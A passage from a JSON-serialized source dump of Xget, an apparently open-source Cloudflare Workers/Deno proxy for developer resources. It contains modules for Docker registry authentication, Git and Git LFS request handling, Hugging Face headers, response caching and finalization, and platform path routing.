configureAIHeaders(headers, request) {\n  if (request.method === 'POST' && !headers.has('Content-Type')) {\n    headers.set('Content-Type', 'application/json');\n  }\n  if (!headers.has('User-Agent')) {\n    headers.set('User-Agent', 'Xget-AI-Proxy/1.0');\n  }\n}\n"
  },
  {
    "path": "src/protocols/docker.js",
    "content": "/**\n * Xget - High-performance acceleration engine for developer resources\n * Copyright (C) 2025 Xi Xu\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <https://www.gnu.org/licenses/>.\n */\n\n/**\n * Docker/OCI Registry protocol handler for Xget\n */\n\nimport { SORTED_PLATFORMS } from '../routing/platform-index.js';\nimport { createErrorResponse } from '../utils/security.js';\n\n/**\n * Parses Docker/OCI registry WWW-Authenticate header.\n *\n * Extracts authentication realm and service information from the Bearer\n * authentication challenge header returned by container registries.\n * @param {string} authenticateStr - The WWW-Authenticate header value\n * @returns {{realm: string, service: string}} Parsed authentication info with realm URL and service name\n * @throws {Error} If the header format is invalid or missing required fields\n */\nexport function parseAuthenticate(authenticateStr) {\n  // sample: Bearer realm=\"https://auth.ipv6.docker.com/token\",service=\"registry.docker.io\"\n  const realmMatch = authenticateStr.match(/realm=\"([^\"]+)\"/);\n  const serviceMatch = authenticateStr.match(/service=\"([^\"]+)\"/);\n\n  if (!realmMatch || !serviceMatch) {\n    throw new Error(`invalid WWW-Authenticate header: ${authenticateStr}`);\n  }\n\n  return {\n    realm: realmMatch[1],\n    service: serviceMatch[1]\n  };\n}\n\n/**\n * Fetches authentication token from container registry token service.\n *\n * Requests a Bearer token from the registry's authentication service,\n * optionally including scope (repository permissions) and authorization credentials.\n * @param {{realm: string, service: string}} wwwAuthenticate - Authentication info from WWW-Authenticate header\n * @param {string} scope - The scope for the token (e.g., \"repository:library/nginx:pull\")\n * @param {string} authorization - Authorization header value (optional, for authenticated access)\n * @returns {Promise<Response>} Token response containing JWT token\n */\nexport async function fetchToken(wwwAuthenticate, scope, authorization) {\n  const url = new URL(wwwAuthenticate.realm);\n  if (wwwAuthenticate.service.length) {\n    url.searchParams.set('service', wwwAuthenticate.service);\n  }\n  if (scope) {\n    url.searchParams.set('scope', scope);\n  }\n  const headers = new Headers();\n  if (authorization) {\n    headers.set('Authorization', authorization);\n  }\n  return await fetch(url, { method: 'GET', headers });\n}\n\n/**\n * Reads a bearer token from an upstream registry token response.\n *\n * Registry token services commonly return either `token` or `access_token`.\n * Some registries also respond with an empty or malformed body on transient\n * failures, so this parser fails closed and lets the caller fall back to the\n * standard 401 challenge flow.\n * @param {Response} response\n * @returns {Promise<string | null>} Resolved bearer token, or null when unavailable.\n */\nexport async function readRegistryTokenResponse(response) {\n  const rawBody = await response.text().catch(() => '');\n  if (!rawBody.trim()) {\n    return null;\n  }\n\n  try {\n    const parsed = JSON.parse(rawBody);\n    if (!parsed || typeof parsed !== 'object') {\n      return null;\n    }\n\n    const tokenValue =\n      'token' in parsed && typeof parsed.token === 'string'\n        ? parsed.token\n        : 'access_token' in parsed && typeof parsed.access_token === 'string'\n          ? parsed.access_token\n          : null;\n\n    return tokenValue;\n  } catch {\n    return null;\n  }\n}\n\n/**\n * Parses the request URL to determine the appropriate Docker registry scope.\n *\n * Analyzes the path to extract the repository name and constructs a standard\n * Docker scope string (repository:name:pull). Handles platform-specific\n * path conventions and defaults.\n * @param {URL} url - The request URL\n * @param {string} effectivePath - The effective path after stripping prefixes\n * @param {string} platform - The platform identifier (e.g., 'cr-docker')\n * @returns {string} One of:\n *   - \"repository:name:pull\" for repository access\n *   - \"registry:catalog:*\" for catalog access\n *   - \"\" (empty string) if scope cannot be determined\n */\nexport function getScopeFromUrl(url, effectivePath, platform) {\n  void url;\n  const platformPrefix = `/${platform.replace(/-/g, '/')}/`;\n\n  // Check for catalog endpoint\n  if (effectivePath.includes('/_catalog')) {\n    return 'registry:catalog:*';\n  }\n\n  const apiPath = normalizeRegistryApiPath(\n    platform,\n    effectivePath.startsWith(platformPrefix)\n      ? `/${effectivePath.slice(platformPrefix.length)}`\n      : effectivePath\n  );\n  const repoName = extractRepositoryPath(apiPath);\n\n  if (repoName) {\n    return `repository:${repoName}:pull`;\n  }\n\n  return '';\n}\n\n/**\n * Normalizes Docker Hub official images to the canonical library namespace.\n * @param {string} platformKey\n * @param {string} repoPath\n * @returns {string} Normalized upstream repository path.\n */\nfunction normalizeRepoPath(platformKey, repoPath) {\n  if (platformKey === 'cr-docker' && repoPath && !repoPath.includes('/')) {\n    return `library/${repoPath}`;\n  }\n\n  return repoPath;\n}\n\n/**\n * Extracts the repository path from a Docker registry API path.\n * @param {string} apiPath\n * @returns {string} Repository path without the `/v2/` prefix or operation suffix.\n */\nfunction extractRepositoryPath(apiPath) {\n  const normalizedPath = apiPath.startsWith('/v2/')\n    ? apiPath.slice(4)\n    : apiPath.replace(/^\\/+/, '');\n  const pathParts = normalizedPath.split('/').filter(Boolean);\n\n  if (pathParts.length === 0 || pathParts[0].startsWith('_')) {\n    return '';\n  }\n\n  const suffixIndex = pathParts.findIndex(part =>\n    ['manifests', 'blobs', 'tags', 'referrers'].includes(part)\n  );\n\n  if (suffixIndex <= 0) {\n    return '';\n  }\n\n  return pathParts.slice(0, suffixIndex).join('/');\n}\n\n/**\n * Normalizes a Docker registry API path for upstream compatibility.\n * @param {string} platformKey\n * @param {string} apiPath\n * @returns {string} Upstream API path with any registry-specific normalization applied.\n */\nexport function normalizeRegistryApiPath(platformKey, apiPath) {\n  if (platformKey !== 'cr-docker' || !apiPath.startsWith('/v2/')) {\n    return apiPath;\n  }\n\n  const repoPath = extractRepositoryPath(apiPath);\n  const normalizedRepoPath = normalizeRepoPath(platformKey, repoPath);\n\n  if (!repoPath || normalizedRepoPath === repoPath) {\n    return apiPath;\n  }\n\n  return apiPath.replace(`/v2/${repoPath}`, `/v2/${normalizedRepoPath}`);\n}\n\n/**\n * Resolves the target registry and scope for Docker auth proxy requests.\n * @param {URL} url\n * @param {{ [key: string]: string }} platforms\n * @returns {{ platformKey: string, upstreamScope: string }} Resolved auth target info.\n */\nfunction resolveDockerAuthTarget(url, platforms) {\n  const scope = url.searchParams.get('scope') || '';\n  const pathMatch = url.pathname.match(/^\\/cr\\/([^/]+)\\/v2\\/auth\\/?$/);\n\n  let platformKey = pathMatch ? `cr-${pathMatch[1]}` : '';\n  let repoPath = '';\n  let upstreamScope = scope;\n\n  if (scope) {\n    const parts = scope.split(':');\n    if (parts.length >= 3 && parts[0] === 'repository') {\n      const [, fullRepoPath] = parts;\n\n      if (fullRepoPath.startsWith('cr/')) {\n        for (const key of SORTED_PLATFORMS) {\n          if (!key.startsWith('cr-')) continue;\n\n          const prefix = key.replace(/-/g, '/');\n          if (fullRepoPath.startsWith(`${prefix}/`)) {\n            platformKey = key;\n            repoPath = fullRepoPath.slice(prefix.length + 1);\n            break;\n          }\n        }\n      } else {\n        repoPath = fullRepoPath;\n      }\n\n      repoPath = normalizeRepoPath(platformKey, repoPath);\n      upstreamScope = repoPath ? `repository:${repoPath}:${parts.slice(2).join(':')}` : scope;\n    }\n  }\n\n  if (!platformKey || !platforms[platformKey]) {\n    throw new Error('Unsupported registry platform in scope');\n  }\n\n  return { platformKey, upstreamScope };\n}\n\n/**\n * Creates an unauthorized (401) response for container registry authentication.\n *\n * Generates a Docker/OCI registry-compliant 401 response with a WWW-Authenticate\n * header that directs clients to the token authentication endpoint.\n * @param {URL} url - Request URL used to construct authentication realm\n * @param {string} platform - Registry platform key (e.g. cr-ghcr)\n * @returns {Response} Unauthorized response with WWW-Authenticate header\n */\nexport function responseUnauthorized(url, platform) {\n  const realmPath = platform ? `/cr/${platform.slice(3)}/v2/auth` : '/v2/auth';\n  const headers = new Headers();\n  headers.set('Content-Type', 'application/json');\n  headers.set('WWW-Authenticate', `Bearer realm=\"${url.origin}${realmPath}\",service=\"Xget\"`);\n  return new Response(\n    JSON.stringify({\n      errors: [\n        {\n          code: 'UNAUTHORIZED',\n          message: 'authentication required',\n          detail: null\n        }\n      ]\n    }),\n    {\n      status: 401,\n      headers\n    }\n  );\n}\n\n/**\n * Handles the special /v2/auth endpoint for Docker authentication.\n *\n * Proxies generation of auth tokens by negotiating with the upstream registry.\n * @param {Request} request - The incoming request\n * @param {URL} url - The parsed URL\n * @param {import('../config/index.js').ApplicationConfig} config - App configuration\n * @returns {Promise<Response>} The response (token or error)\n */\nexport async function handleDockerAuth(request, url, config) {\n  let target;\n  try {\n    target = resolveDockerAuthTarget(url, config.PLATFORMS);\n  } catch (error) {\n    // Log internal error details server-side without exposing them to the client\n    console.error('Failed to resolve Docker auth target:', error);\n    // Return a generic error response to avoid leaking implementation details\n    return createErrorResponse('Invalid Docker authentication request', 400);\n  }\n\n  const upstreamUrl = config.PLATFORMS[target.platformKey];\n  const authorization = request.headers.get('Authorization');\n\n  // 1. Fetch the upstream root (v2) to get the proper realm and service\n  // We use the upstream URL + /v2/\n  const v2Url = new URL(`${upstreamUrl}/v2/`);\n  const v2Resp = await fetch(v2Url.toString(), {\n    method: 'GET',\n    redirect: 'follow'\n  });\n\n  if (v2Resp.status !== 401) {\n    // If not 401, maybe no auth needed? Or error.\n    // Just forward the response?\n    return v2Resp;\n  }\n\n  const authenticateStr = v2Resp.headers.get('WWW-Authenticate');\n  if (authenticateStr === null) {\n    return v2Resp;\n  }\n\n  const wwwAuthenticate = parseAuthenticate(authenticateStr);\n\n  // 3. Fetch the token from the upstream realm\n  return await fetchToken(wwwAuthenticate, target.upstreamScope, authorization || '');\n}\n"
  },
  {
    "path": "src/protocols/git.js",
    "content": "/**\n * Xget - High-performance acceleration engine for developer resources\n * Copyright (C) 2025 Xi Xu\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <https://www.gnu.org/licenses/>.\n */\n\n/**\n * Git protocol handler for Xget\n */\n\n/**\n * Detects if a request is a Git protocol operation.\n *\n * Identifies Git requests by checking for:\n * - Git-specific endpoints (/info/refs, /git-upload-pack, /git-receive-pack)\n * - Git User-Agent headers\n * - Git service query parameters\n * - Git-specific Content-Type headers\n * @param {Request} request - The incoming request object\n * @param {URL} url - Parsed URL object\n * @returns {boolean} True if this is a Git operation\n */\nexport function isGitRequest(request, url) {\n  // Check for Git-specific endpoints\n  if (url.pathname.endsWith('/info/refs')) {\n    return true;\n  }\n\n  if (url.pathname.endsWith('/git-upload-pack') || url.pathname.endsWith('/git-receive-pack')) {\n    return true;\n  }\n\n  // Check for Git user agents (more comprehensive check)\n  const userAgent = request.headers.get('User-Agent') || '';\n  if (userAgent.includes('git/') || userAgent.startsWith('git/')) {\n    return true;\n  }\n\n  // Check for Git-specific query parameters\n  if (url.searchParams.has('service')) {\n    const service = url.searchParams.get('service');\n    return service === 'git-upload-pack' || service === 'git-receive-pack';\n  }\n\n  // Check for Git-specific content types\n  const contentType = request.headers.get('Content-Type') || '';\n  if (contentType.includes('git-upload-pack') || contentType.includes('git-receive-pack')) {\n    return true;\n  }\n\n  return false;\n}\n\n/**\n * Detects if a request is a Git LFS (Large File Storage) operation.\n *\n * Identifies Git LFS requests by checking for:\n * - LFS-specific endpoints (/info/lfs, /objects/batch)\n * - LFS object storage paths (SHA-256 hash patterns)\n * - Git LFS Accept/Content-Type headers\n * - Git LFS User-Agent\n * @param {Request} request - The incoming request object\n * @param {URL} url - Parsed URL object\n * @returns {boolean} True if this is a Git LFS operation\n */\nexport function isGitLFSRequest(request, url) {\n  // Check for LFS-specific endpoints\n  if (url.pathname.includes('/info/lfs')) {\n    return true;\n  }\n\n  if (url.pathname.includes('/objects/batch')) {\n    return true;\n  }\n\n  // Check for LFS object storage endpoints (SHA-256 hash is 64 hex characters)\n  if (url.pathname.match(/\\/objects\\/[a-fA-F0-9]{64}$/)) {\n    return true;\n  }\n\n  // Check for LFS-specific headers\n  const accept = request.headers.get('Accept') || '';\n  const contentType = request.headers.get('Content-Type') || '';\n\n  if (\n    accept.includes('application/vnd.git-lfs') ||\n    contentType.includes('application/vnd.git-lfs')\n  ) {\n    return true;\n  }\n\n  // Check for LFS user agent\n  const userAgent = request.headers.get('User-Agent') || '';\n  if (userAgent.includes('git-lfs')) {\n    return true;\n  }\n\n  return false;\n}\n\n/**\n * Configures headers for Git protocol requests.\n *\n * Sets User-Agent and Content-Type headers required by Git and Git LFS protocols.\n * @param {Headers} headers - The headers object to modify\n * @param {Request} request - The original request\n * @param {URL} url - The parsed URL\n * @param {boolean} isLFS - Whether this is an LFS request\n */\nexport function configureGitHeaders(headers, request, url, isLFS) {\n  if (!isLFS) {\n    // Standard Git protocol\n    if (!headers.has('User-Agent')) {\n      headers.set('User-Agent', 'git/2.34.1');\n    }\n\n    if (request.method === 'POST' && url.pathname.endsWith('/git-upload-pack')) {\n      if (!headers.has('Content-Type')) {\n        headers.set('Content-Type', 'application/x-git-upload-pack-request');\n      }\n    }\n\n    if (request.method === 'POST' && url.pathname.endsWith('/git-receive-pack')) {\n      if (!headers.has('Content-Type')) {\n        headers.set('Content-Type', 'application/x-git-receive-pack-request');\n      }\n    }\n  } else {\n    // Git LFS protocol\n    if (!headers.has('User-Agent')) {\n      headers.set('User-Agent', 'git-lfs/3.0.0 (GitHub; darwin amd64; go 1.17.2)');\n    }\n    if (url.pathname.includes('/objects/batch')) {\n      if (!headers.has('Accept')) {\n        headers.set('Accept', 'application/vnd.git-lfs+json');\n      }\n      if (request.method === 'POST' && !headers.has('Content-Type')) {\n        headers.set('Content-Type', 'application/vnd.git-lfs+json');\n      }\n    }\n    if (url.pathname.match(/\\/objects\\/[a-fA-F0-9]{64}$/)) {\n      if (!headers.has('Accept')) {\n        headers.set('Accept', 'application/octet-stream');\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "src/protocols/huggingface.js",
    "content": "/**\n * Xget - High-performance acceleration engine for developer resources\n * Copyright (C) 2025 Xi Xu\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <https://www.gnu.org/licenses/>.\n */\n\n/**\n * Hugging Face protocol handler for Xget\n */\n\n/**\n * Detects if a request is a Hugging Face API operation.\n *\n * Identifies Hugging Face API requests by checking for:\n * - Hugging Face platform prefix (/hf/)\n * - API path segment (/api/)\n * @param {Request} request - The incoming request object\n * @param {URL} url - Parsed URL object\n * @returns {boolean} True if this is a Hugging Face API operation\n */\nexport function isHuggingFaceAPIRequest(request, url) {\n  // Check for Hugging Face API endpoints\n  if (url.pathname.startsWith('/hf/api/')) {\n    return true;\n  }\n\n  // Also check for token endpoint which is often used\n  if (url.pathname.startsWith('/hf/token')) {\n    return true;\n  }\n\n  return false;\n}\n\n/**\n * Configures headers for Hugging Face API requests.\n * @param {Headers} headers - The headers object to modify\n * @param {Request} request - The original request\n */\nexport function configureHuggingFaceHeaders(headers, request) {\n  const authHeader = request.headers.get('Authorization');\n  if (authHeader) {\n    headers.set('Authorization', authHeader);\n  }\n\n  if (request.method === 'POST' && !headers.has('Content-Type')) {\n    headers.set('Content-Type', 'application/json');\n  }\n}\n"
  },
  {
    "path": "src/response/finalize-response.js",
    "content": "import {\n  isFlatpakReferenceFilePath,\n  rewriteTextResponse,\n  shouldRewriteTextResponse\n} from '../utils/rewrite.js';\nimport { addSecurityHeaders, createErrorResponse } from '../utils/security.js';\n\n/**\n * Wraps an unsuccessful upstream response into the user-facing error contract.\n * @param {{\n *   effectivePath: string,\n *   platform: string,\n *   request: Request,\n *   requestContext: {\n *     isAI: boolean,\n *     isDocker: boolean,\n *     isGit: boolean,\n *     isGitLFS: boolean,\n *     isHF: boolean\n *   },\n *   response: Response,\n *   responseGeneratedLocally: boolean,\n *   url: URL\n * }} options\n * @returns {Promise<Response>} Final error response.\n */\nasync function finalizeErrorResponse({ requestContext, response, responseGeneratedLocally }) {\n  if (responseGeneratedLocally || response.ok || response.status === 206) {\n    return response;\n  }\n\n  if (requestContext.isDocker && response.status === 401) {\n    if (!response.headers.has('WWW-Authenticate')) {\n      const isCustomError =\n        response.headers.get('content-type') === 'application/json' &&\n        (await response.clone().text()).includes('UNAUTHORIZED');\n\n      if (!isCustomError) {\n        const errorText = await response.text().catch(() => '');\n        return createErrorResponse(\n          `Authentication required for this container registry resource. This may be a private repository. Original error: ${errorText}`,\n          401,\n          true\n        );\n      }\n    }\n\n    return response;\n  }\n\n  const errorText = await response.text().catch(() => 'Unknown error');\n  return createErrorResponse(\n    `Upstream server error (${response.status}): ${errorText}`,\n    response.status,\n    true\n  );\n}\n\n/**\n * Finalizes a successful upstream response, including rewriting, cache headers, and background cache writes.\n * @param {{\n *   cache: Cache | null,\n *   cacheTargetUrl: string,\n *   canUseCache: boolean,\n *   config: import('../config/index.js').ApplicationConfig,\n *   ctx: ExecutionContext,\n *   effectivePath: string,\n *   hasSensitiveHeaders: boolean,\n *   monitor: import('../utils/performance.js').PerformanceMonitor,\n *   platform: string,\n *   request: Request,\n *   requestContext: {\n *     isAI: boolean,\n *     isDocker: boolean,\n *     isGit: boolean,\n *     isGitLFS: boolean,\n *     isHF: boolean\n *   },\n *   response: Response,\n *   url: URL\n * }} options\n * @returns {Promise<Response>} Final proxied response.\n */\nasync function finalizeSuccessfulResponse({\n  cache,\n  cacheTargetUrl,\n  canUseCache,\n  config,\n  ctx,\n  effectivePath,\n  hasSensitiveHeaders,\n  monitor,\n  platform,\n  request,\n  requestContext,\n  response,\n  url\n}) {\n  const { isAI, isDocker, isGit, isGitLFS, isHF } = requestContext;\n\n  /** @type {string | ReadableStream<Uint8Array> | null} */\n  let responseBody = response.body;\n  let rewrittenContentLength = null;\n  let hasOriginBoundRewrite = false;\n\n  if (\n    shouldRewriteTextResponse(platform, effectivePath, response.headers.get('content-type') || '')\n  ) {\n    const originalText =\n      platform === 'flathub' && isFlatpakReferenceFilePath(effectivePath)\n        ? new TextDecoder().decode(await response.arrayBuffer())\n        : await response.text();\n    const rewrittenText = rewriteTextResponse(platform, effectivePath, originalText, url.origin);\n    responseBody = rewrittenText;\n    rewrittenContentLength = new TextEncoder().encode(rewrittenText).byteLength;\n    hasOriginBoundRewrite = platform === 'pypi';\n  }\n\n  const headers = new Headers(response.headers);\n\n  if (rewrittenContentLength !== null) {\n    headers.set('Content-Length', String(rewrittenContentLength));\n  }\n\n  if (!isGit && !isGitLFS && !isDocker && !isAI && !isHF) {\n    if (!canUseCache || hasOriginBoundRewrite) {\n      headers.set('Cache-Control', 'no-store');\n    } else if (hasSensitiveHeaders) {\n      headers.set('Cache-Control', 'private, no-store');\n      const existingVary = headers.get('Vary');\n      headers.set(\n        'Vary',\n        existingVary ? `${existingVary}, Authorization, Cookie` : 'Authorization, Cookie'\n      );\n    } else {\n      headers.set('Cache-Control', `public, max-age=${config.CACHE_DURATION}`);\n    }\n\n    headers.set('X-Content-Type-Options', 'nosniff');\n    headers.set('Accept-Ranges', 'bytes');\n\n    if (!headers.has('Content-Length') && response.status === 200) {\n      try {\n        const contentLength = response.headers.get('Content-Length');\n        if (contentLength) {\n          headers.set('Content-Length', contentLength);\n        }\n      } catch (error) {\n        console.warn('Could not set Content-Length header:', error);\n      }\n    }\n\n    addSecurityHeaders(headers);\n  }\n\n  let finalizedResponse = new Response(responseBody, {\n    status: response.status,\n    headers\n  });\n\n  if (\n    cache &&\n    !isGit &&\n    !isGitLFS &&\n    !isDocker &&\n    !isAI &&\n    !isHF &&\n    !hasOriginBoundRewrite &&\n    !hasSensitiveHeaders &&\n    request.method === 'GET' &&\n    finalizedResponse.ok &&\n    finalizedResponse.status === 200\n  ) {\n    const rangeHeader = request.headers.get('Range');\n    const cacheKey = rangeHeader\n      ? new Request(cacheTargetUrl, {\n          method: 'GET',\n          headers: new Headers(\n            [...request.headers.entries()].filter(([key]) => key.toLowerCase() !== 'range')\n          )\n        })\n      : new Request(cacheTargetUrl, { method: 'GET' });\n\n    try {\n      if (ctx && typeof ctx.waitUntil === 'function') {\n        ctx.waitUntil(cache.put(cacheKey, finalizedResponse.clone()));\n      } else {\n        cache.put(cacheKey, finalizedResponse.clone()).catch(error => {\n          console.warn('Cache put failed:', error);\n        });\n      }\n\n      if (rangeHeader && finalizedResponse.status === 200) {\n        const rangedResponse = await cache.match(\n          new Request(cacheTargetUrl, {\n            method: 'GET',\n            headers: request.headers\n          })\n        );\n        if (rangedResponse) {\n          monitor.mark('range_cache_hit_after_full_cache');\n          finalizedResponse = rangedResponse;\n        }\n      }\n    } catch (cacheError) {\n      console.warn('Cache put/match failed:', cacheError);\n    }\n  }\n\n  return finalizedResponse;\n}\n\n/**\n * Finalizes the upstream response after cache lookup and fetch execution.\n * @param {{\n *   cache: Cache | null,\n *   cacheTargetUrl: string,\n *   canUseCache: boolean,\n *   config: import('../config/index.js').ApplicationConfig,\n *   ctx: ExecutionContext,\n *   effectivePath: string,\n *   hasSensitiveHeaders: boolean,\n *   monitor: import('../utils/performance.js').PerformanceMonitor,\n *   platform: string,\n *   request: Request,\n *   requestContext: {\n *     isAI: boolean,\n *     isDocker: boolean,\n *     isGit: boolean,\n *     isGitLFS: boolean,\n *     isHF: boolean\n *   },\n *   response: Response,\n *   responseGeneratedLocally: boolean,\n *   url: URL\n * }} options\n * @returns {Promise<Response>} Final response returned to the client.\n */\nexport async function finalizeResponse({\n  cache,\n  cacheTargetUrl,\n  canUseCache,\n  config,\n  ctx,\n  effectivePath,\n  hasSensitiveHeaders,\n  monitor,\n  platform,\n  request,\n  requestContext,\n  response,\n  responseGeneratedLocally,\n  url\n}) {\n  const errorResponse = await finalizeErrorResponse({\n    effectivePath,\n    platform,\n    request,\n    requestContext,\n    response,\n    responseGeneratedLocally,\n    url\n  });\n\n  if (errorResponse !== response || !errorResponse.ok) {\n    return errorResponse;\n  }\n\n  return await finalizeSuccessfulResponse({\n    cache,\n    cacheTargetUrl,\n    canUseCache,\n    config,\n    ctx,\n    effectivePath,\n    hasSensitiveHeaders,\n    monitor,\n    platform,\n    request,\n    requestContext,\n    response: errorResponse,\n    url\n  });\n}\n"
  },
  {
    "path": "src/routing/platform-index.js",
    "content": "import { PLATFORM_CATALOG } from '../config/platform-catalog.js';\n\n/**\n * Converts a platform key into its matching URL prefix.\n * @param {string} platformKey\n * @returns {string} Platform prefix, for example `/ip/openai/`.\n */\nexport function getPlatformPathPrefix(platformKey) {\n  return `/${platformKey.replace(/-/g, '/')}/`;\n}\n\n/**\n * Pre-computed sorted platform keys for efficient path matching.\n */\nexport const SORTED_PLATFORMS = Object.keys(PLATFORM_CATALOG).sort((a, b) => {\n  return getPlatformPathPrefix(b).length - getPlatformPathPrefix(a).length;\n});\n"
  },
  {
    "path": "src/routing/platform-transformers.js",
    "content": "import { PLATFORM_CATALOG } from '../config/platform-catalog.js';\nimport { getPlatformPathPrefix } from './platform-index.js';\n\n/**\n * Escapes a string for safe use inside a regular expression.\n * @param {string} value\n * @returns {string} Escaped string.\n */\nfunction escapeRegex(value) {\n  return value.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&');\n}\n\n/**\n * Removes the platform prefix from a request path.\n * @param {string} path\n * @param {string} platformKey\n * @returns {string} Path without the leading platform segment.\n */\nfunction stripPlatformPrefix(path, platformKey) {\n  const prefix = getPlatformPathPrefix(platformKey);\n  return path.replace(new RegExp(`^${escapeRegex(prefix)}`), '/');\n}\n\n/**\n * Applies crates.io-specific API path normalization.\n * @param {string} transformedPath\n * @returns {string} Normalized crates.io API path.\n */\nfunction transformCratesPath(transformedPath) {\n  if (!transformedPath.startsWith('/')) {\n    return transformedPath;\n  }\n\n  if (transformedPath === '/' || transformedPath.startsWith('/?')) {\n    return transformedPath.replace('/', '/api/v1/crates');\n  }\n\n  return `/api/v1/crates${transformedPath}`;\n}\n\n/**\n * Applies Jenkins update-center path normalization.\n * @param {string} transformedPath\n * @returns {string} Normalized Jenkins path.\n */\nfunction transformJenkinsPath(transformedPath) {\n  if (!transformedPath.startsWith('/')) {\n    return transformedPath;\n  }\n\n  if (transformedPath === '/update-center.json') {\n    return '/current/update-center.json';\n  }\n\n  if (transformedPath === '/update-center.actual.json') {\n    return '/current/update-center.actual.json';\n  }\n\n  if (\n    transformedPath.startsWith('/experimental/') ||\n    transformedPath.startsWith('/download/') ||\n    transformedPath.startsWith('/current/')\n  ) {\n    return transformedPath;\n  }\n\n  return `/current${transformedPath}`;\n}\n\n/** @type {{ [key: string]: (transformedPath: string) => string }} */\nconst PLATFORM_PATH_TRANSFORMERS = {\n  crates: transformCratesPath,\n  jenkins: transformJenkinsPath\n};\n\n/**\n * Converts a routed request path into the upstream path expected by the platform.\n * @param {string} path\n * @param {string} platformKey\n * @returns {string} Upstream-ready request path.\n */\nexport function transformPath(path, platformKey) {\n  if (!PLATFORM_CATALOG[platformKey]) {\n    return path;\n  }\n\n  const transformedPath = stripPlatformPrefix(path, platformKey);\n  const transformPlatformPath = PLATFORM_PATH_TRANSFORMERS[platformKey];\n\n  return transformPlatformPath ? transformPlatformPath(transformedPath) : transformedPath;\n}\n"
  },
  {
    "path": "src/routing/resolve-target.js",
    "content": "import { SORTED_PLATFORMS } from './platform-index.js';\nimport { transformPath } from './platform-transformers.js';\nimport { normalizeRegistryApiPath } from '../protocols/docker.js';\nimport { isFlatpakReferenceFilePath } from '../utils/rewrite.js';\nimport { createErrorResponse } from '../utils/security.js';\n\nexport const HOME_PAGE_URL = 'https://github.com/xixu-me/Xget';\n\n/**\n * Creates the canonical homepage redirect response.\n * @returns {Response} Redirect response to the Xget homepage.\n */\nexport function createHomepageRedirect() {\n  return Response.redirect(HOME_PAGE_URL, 302);\n}\n\n/**\n * Normalizes request paths before platform routing.\n * @param {URL} url\n * @param {boolean} isDocker\n * @returns {{ effectivePath: string } | { response: Response }} Normalized path or an early error response.\n */\nexport function normalizeEffectivePath(url, isDocker) {\n  let effectivePath = url.pathname;\n\n  if (!isDocker) {\n    return { effectivePath };\n  }\n\n  if (\n    !url.pathname.startsWith('/cr/') &&\n    !url.pathname.startsWith('/v2/cr/') &&\n    url.pathname !== '/v2/auth'\n  ) {\n    return {\n      response: createErrorResponse('container registry requests must use /cr/ prefix', 400)\n    };\n  }\n\n  effectivePath = url.pathname.replace(/^\\/v2/, '');\n\n  if (url.pathname.startsWith('/v2/cr/')) {\n    effectivePath = effectivePath.replace(/^\\/cr\\/([^/]+)\\//, '/cr/$1/v2/');\n  }\n\n  return { effectivePath };\n}\n\n/**\n * Resolves an effective request path to an upstream target URL.\n * @param {URL} url\n * @param {string} effectivePath\n * @param {{ [key: string]: string }} platforms\n * @returns {{\n *   cacheTargetUrl: string,\n *   platform: string,\n *   shouldVaryCacheByOrigin: boolean,\n *   targetPath: string,\n *   targetUrl: string\n * } | { response: Response }} Target metadata or an early redirect response.\n */\nexport function resolveTarget(url, effectivePath, platforms) {\n  const platform =\n    SORTED_PLATFORMS.find(key => {\n      const expectedPrefix = `/${key.replace('-', '/')}/`;\n      return effectivePath.startsWith(expectedPrefix);\n    }) || effectivePath.split('/')[1];\n\n  if (!platform || !platforms[platform]) {\n    return { response: createHomepageRedirect() };\n  }\n\n  const platformPath = `/${platform.replace(/-/g, '/')}`;\n  if (effectivePath === platformPath || effectivePath === `${platformPath}/`) {\n    return { response: createHomepageRedirect() };\n  }\n\n  const transformedPath = transformPath(effectivePath, platform);\n  const targetPath = platform.startsWith('cr-')\n    ? normalizeRegistryApiPath(platform, transformedPath)\n    : transformedPath;\n  const targetUrl = `${platforms[platform]}${targetPath}${url.search}`;\n  const shouldVaryCacheByOrigin =\n    platform === 'flathub' && isFlatpakReferenceFilePath(effectivePath);\n  const cacheTargetUrl = shouldVaryCacheByOrigin\n    ? `${targetUrl}${targetUrl.includes('?') ? '&' : '?'}__xget_origin=${encodeURIComponent(url.origin)}`\n    : targetUrl;\n\n  return {\n    cacheTargetUrl,\n    platform,\n    shouldVaryCacheByOrigin,\n    targetPath,\n    targetUrl\n  };\n}\n"
  },
  {
    "path": "src/types.d.ts",
    "content": "/**\n * Global type declarations for Cloudflare Workers\n */\n\n/**\n * Cloudflare Workers execution context\n * Provides methods for managing background tasks\n */\ninterface ExecutionContext {\n  /**\n   * Extend the lifetime of the request handler\n   * @param promise - Promise to wait for in the background\n   */\n  waitUntil(promise: Promise<any>): void;\n\n  /**\n   * Prevent request from failing if an exception is thrown\n   */\n  passThroughOnException(): void;\n}\n\ninterface DenoEnv {\n  /**\n   * Reads an environment variable from Deno Deploy.\n   * @param name - Environment variable name\n   */\n  get(name: string): string | undefined;\n}\n\ninterface DenoGlobal {\n  env: DenoEnv;\n\n  /**\n   * Starts the Deno Deploy HTTP server.\n   * @param handler - Request handler callback\n   */\n  serve(handler: (request: Request) => Promise<Response> | Response): void;\n}\n\ndeclare const Deno: DenoGlobal;\n"
